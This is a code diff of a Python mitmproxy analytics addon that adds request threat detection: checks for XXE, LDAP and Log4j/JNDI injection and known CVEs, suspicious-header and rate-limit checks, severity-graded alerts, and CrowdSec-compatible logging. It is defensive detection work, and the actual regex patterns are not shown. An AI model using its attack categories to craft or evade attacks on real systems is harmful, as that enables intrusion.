||||
'is_scan': True, 'pattern': 'xxe', 'type': 'injection',
|
||||
'severity': 'critical', 'category': 'xml_attack'
|
||||
}
|
||||
|
||||
# Check LDAP Injection
|
||||
for pattern in LDAP_INJECTION_PATTERNS:
|
||||
if re.search(pattern, combined, re.IGNORECASE):
|
||||
return {
|
||||
'is_scan': True, 'pattern': 'ldap_injection', 'type': 'injection',
|
||||
'severity': 'high', 'category': 'injection'
|
||||
}
|
||||
|
||||
# Check Log4j/JNDI Injection
|
||||
for pattern in LOG4J_PATTERNS:
|
||||
if re.search(pattern, combined, re.IGNORECASE):
|
||||
return {
|
||||
'is_scan': True, 'pattern': 'log4shell', 'type': 'injection',
|
||||
'severity': 'critical', 'category': 'rce',
|
||||
'cve': 'CVE-2021-44228'
|
||||
}
|
||||
|
||||
# Check known CVE patterns
|
||||
for cve_name, patterns in CVE_PATTERNS.items():
|
||||
for pattern in patterns:
|
||||
if re.search(pattern, combined, re.IGNORECASE):
|
||||
return {
|
||||
'is_scan': True, 'pattern': cve_name, 'type': 'cve_exploit',
|
||||
'severity': 'critical', 'category': 'known_exploit',
|
||||
'cve': cve_name
|
||||
}
|
||||
|
||||
return {'is_scan': False, 'pattern': None, 'type': None, 'severity': None, 'category': None}
|
||||
|
||||
def _detect_suspicious_headers(self, request: http.Request) -> list:
|
||||
"""Detect suspicious headers that may indicate attack tools"""
|
||||
suspicious = []
|
||||
for header, patterns in SUSPICIOUS_HEADERS.items():
|
||||
value = request.headers.get(header, '')
|
||||
if value:
|
||||
for pattern in patterns:
|
||||
if re.search(pattern, value, re.IGNORECASE):
|
||||
suspicious.append({
|
||||
'header': header,
|
||||
'value': value[:100],
|
||||
'pattern': pattern
|
||||
})
|
||||
return suspicious
|
||||
|
||||
def _check_rate_limit(self, ip: str, window_seconds: int = 60, max_requests: int = 100) -> dict:
|
||||
"""Check if IP is exceeding rate limits"""
|
||||
now = time.time()
|
||||
# Clean old entries
|
||||
self.ip_request_count[ip] = [ts for ts in self.ip_request_count[ip] if now - ts < window_seconds]
|
||||
self.ip_request_count[ip].append(now)
|
||||
|
||||
count = len(self.ip_request_count[ip])
|
||||
is_limited = count > max_requests
|
||||
|
||||
if is_limited:
|
||||
return {
|
||||
'is_limited': True,
|
||||
'count': count,
|
||||
'window': window_seconds,
|
||||
'threshold': max_requests
|
||||
}
|
||||
return {'is_limited': False, 'count': count}
|
||||
|
||||
def _update_stats(self, entry: dict):
|
||||
"""Update real-time statistics"""
|
||||
country = entry.get('country', 'XX')
|
||||
scan_type = entry.get('scan', {}).get('type')
|
||||
category = entry.get('scan', {}).get('category')
|
||||
|
||||
self.stats['countries'][country] += 1
|
||||
self.stats['total']['requests'] += 1
|
||||
|
||||
if entry.get('client', {}).get('is_bot'):
|
||||
self.stats['total']['bots'] += 1
|
||||
|
||||
if scan_type:
|
||||
self.stats['threats'][scan_type] += 1
|
||||
self.stats['total']['threats'] += 1
|
||||
|
||||
if category:
|
||||
self.stats['categories'][category] += 1
|
||||
|
||||
if entry.get('is_auth_attempt'):
|
||||
self.stats['total']['auth_attempts'] += 1
|
||||
|
||||
# Write stats periodically (every 100 requests)
|
||||
if self.stats['total']['requests'] % 100 == 0:
|
||||
try:
|
||||
with open(STATS_FILE, 'w') as f:
|
||||
json.dump(dict(self.stats), f)
|
||||
except:
|
||||
pass
|
||||
|
||||
def _is_auth_attempt(self, request: http.Request) -> bool:
|
||||
"""Check if request is authentication attempt"""
|
||||
@ -139,17 +479,27 @@ class SecuBoxAnalytics:
|
||||
except Exception as e:
|
||||
ctx.log.error(f"Failed to write access log: {e}")
|
||||
|
||||
# CrowdSec compatible log (if scan/suspicious)
|
||||
if entry.get('scan', {}).get('is_scan') or entry.get('is_auth_attempt'):
|
||||
# CrowdSec compatible log (enhanced format)
|
||||
scan_data = entry.get('scan', {})
|
||||
if scan_data.get('is_scan') or entry.get('is_auth_attempt') or entry.get('suspicious_headers') or entry.get('rate_limit', {}).get('is_limited'):
|
||||
try:
|
||||
cs_entry = {
|
||||
'timestamp': entry['timestamp'],
|
||||
'source_ip': entry['client_ip'],
|
||||
'country': entry['country'],
|
||||
'request': f"{entry['method']} {entry['path']}",
|
||||
'host': entry.get('host', ''),
|
||||
'user_agent': entry['client'].get('user_agent', ''),
|
||||
'type': entry['scan'].get('type') or ('auth_attempt' if entry['is_auth_attempt'] else 'access'),
|
||||
'pattern': entry['scan'].get('pattern', '')
|
||||
'type': scan_data.get('type') or ('auth_attempt' if entry['is_auth_attempt'] else 'suspicious'),
|
||||
'pattern': scan_data.get('pattern', ''),
|
||||
'category': scan_data.get('category', ''),
|
||||
'severity': scan_data.get('severity', 'low'),
|
||||
'cve': scan_data.get('cve', ''),
|
||||
'response_code': entry.get('response', {}).get('status', 0),
|
||||
'fingerprint': entry['client'].get('fingerprint', ''),
|
||||
'is_bot': entry['client'].get('is_bot', False),
|
||||
'rate_limited': entry.get('rate_limit', {}).get('is_limited', False),
|
||||
'suspicious_headers': len(entry.get('suspicious_headers', [])) > 0,
|
||||
}
|
||||
with open(CROWDSEC_LOG, 'a') as f:
|
||||
f.write(json.dumps(cs_entry) + '\n')
|
||||
@ -205,7 +555,7 @@ class SecuBoxAnalytics:
|
||||
}
|
||||
|
||||
def request(self, flow: http.HTTPFlow):
|
||||
"""Process incoming request"""
|
||||
"""Process incoming request with enhanced threat detection"""
|
||||
request = flow.request
|
||||
client_ip = flow.client_conn.peername[0] if flow.client_conn.peername else 'unknown'
|
||||
|
||||
@ -217,6 +567,12 @@ class SecuBoxAnalytics:
|
||||
# Determine routing (proxied vs direct)
|
||||
routing = self._should_proxy_internal(request, source_ip)
|
||||
|
||||
# Enhanced threat detection
|
||||
scan_result = self._detect_scan(request)
|
||||
suspicious_headers = self._detect_suspicious_headers(request)
|
||||
rate_limit = self._check_rate_limit(source_ip)
|
||||
client_fp = self._get_client_fingerprint(request)
|
||||
|
||||
# Build log entry
|
||||
entry = {
|
||||
'timestamp': datetime.utcnow().isoformat() + 'Z',
|
||||
@ -228,15 +584,18 @@ class SecuBoxAnalytics:
|
||||
'host': request.host,
|
||||
'path': request.path,
|
||||
'query': request.query.get('q', '')[:100] if request.query else '',
|
||||
'client': self._get_client_fingerprint(request),
|
||||
'scan': self._detect_scan(request),
|
||||
'client': client_fp,
|
||||
'scan': scan_result,
|
||||
'is_auth_attempt': self._is_auth_attempt(request),
|
||||
'content_length': len(request.content) if request.content else 0,
|
||||
'routing': routing,
|
||||
'suspicious_headers': suspicious_headers,
|
||||
'rate_limit': rate_limit,
|
||||
'headers': {
|
||||
'referer': request.headers.get('referer', '')[:200],
|
||||
'origin': request.headers.get('origin', ''),
|
||||
'cache_control': request.headers.get('cache-control', ''),
|
||||
'content_type': request.headers.get('content-type', '')[:100],
|
||||
}
|
||||
}
|
||||
|
||||
@ -247,25 +606,80 @@ class SecuBoxAnalytics:
|
||||
else:
|
||||
request.headers['x-secubox-proxied'] = '1'
|
||||
|
||||
# Add threat indicator headers for downstream processing
|
||||
if scan_result.get('is_scan'):
|
||||
request.headers['x-secubox-threat'] = scan_result.get('category', 'unknown')
|
||||
request.headers['x-secubox-severity'] = scan_result.get('severity', 'medium')
|
||||
|
||||
# Store for response processing
|
||||
flow.metadata['secubox_entry'] = entry
|
||||
|
||||
# Log scan attempts immediately
|
||||
if entry['scan']['is_scan']:
|
||||
ctx.log.warn(f"SCAN DETECTED: {source_ip} ({entry['country']}) - {entry['scan']['pattern']} - {request.path}")
|
||||
# Update statistics
|
||||
self._update_stats(entry)
|
||||
|
||||
# Log and alert based on severity
|
||||
if scan_result.get('is_scan'):
|
||||
severity = scan_result.get('severity', 'medium')
|
||||
pattern = scan_result.get('pattern', 'unknown')
|
||||
category = scan_result.get('category', 'unknown')
|
||||
cve = scan_result.get('cve', '')
|
||||
|
||||
log_msg = f"THREAT [{severity.upper()}]: {source_ip} ({entry['country']}) - {pattern}"
|
||||
if cve:
|
||||
log_msg += f" ({cve})"
|
||||
log_msg += f" - {request.method} {request.path}"
|
||||
|
||||
if severity == 'critical':
|
||||
ctx.log.error(log_msg)
|
||||
elif severity == 'high':
|
||||
ctx.log.warn(log_msg)
|
||||
else:
|
||||
ctx.log.info(log_msg)
|
||||
|
||||
self._add_alert({
|
||||
'time': entry['timestamp'],
|
||||
'ip': source_ip,
|
||||
'country': entry['country'],
|
||||
'type': 'scan',
|
||||
'pattern': entry['scan']['pattern'],
|
||||
'path': request.path
|
||||
'type': 'threat',
|
||||
'pattern': pattern,
|
||||
'category': category,
|
||||
'severity': severity,
|
||||
'cve': cve,
|
||||
'path': request.path,
|
||||
'method': request.method,
|
||||
'host': request.host
|
||||
})
|
||||
|
||||
# Log suspicious headers
|
||||
if suspicious_headers:
|
||||
ctx.log.warn(f"SUSPICIOUS HEADERS: {source_ip} - {[h['header'] for h in suspicious_headers]}")
|
||||
self._add_alert({
|
||||
'time': entry['timestamp'],
|
||||
'ip': source_ip,
|
||||
'country': entry['country'],
|
||||
'type': 'suspicious_headers',
|
||||
'headers': suspicious_headers
|
||||
})
|
||||
|
||||
# Log rate limit violations
|
||||
if rate_limit.get('is_limited'):
|
||||
ctx.log.warn(f"RATE LIMIT: {source_ip} ({entry['country']}) - {rate_limit['count']} requests")
|
||||
self._add_alert({
|
||||
'time': entry['timestamp'],
|
||||
'ip': source_ip,
|
||||
'country': entry['country'],
|
||||
'type': 'rate_limit',
|
||||
'count': rate_limit['count']
|
||||
})
|
||||
|
||||
# Log auth attempts
|
||||
if entry['is_auth_attempt']:
|
||||
ctx.log.info(f"AUTH ATTEMPT: {source_ip} ({entry['country']}) - {request.method} {request.path}")
|
||||
|
||||
# Log bot detection
|
||||
if client_fp.get('is_bot'):
|
||||
ctx.log.info(f"BOT DETECTED: {source_ip} - {client_fp.get('user_agent', '')[:80]}")
|
||||
|
||||
def response(self, flow: http.HTTPFlow):
|
||||
"""Process response to complete log entry"""
|
||||
entry = flow.metadata.get('secubox_entry', {})
|
||||
|
||||
Loading…
Reference in New Issue
Block a user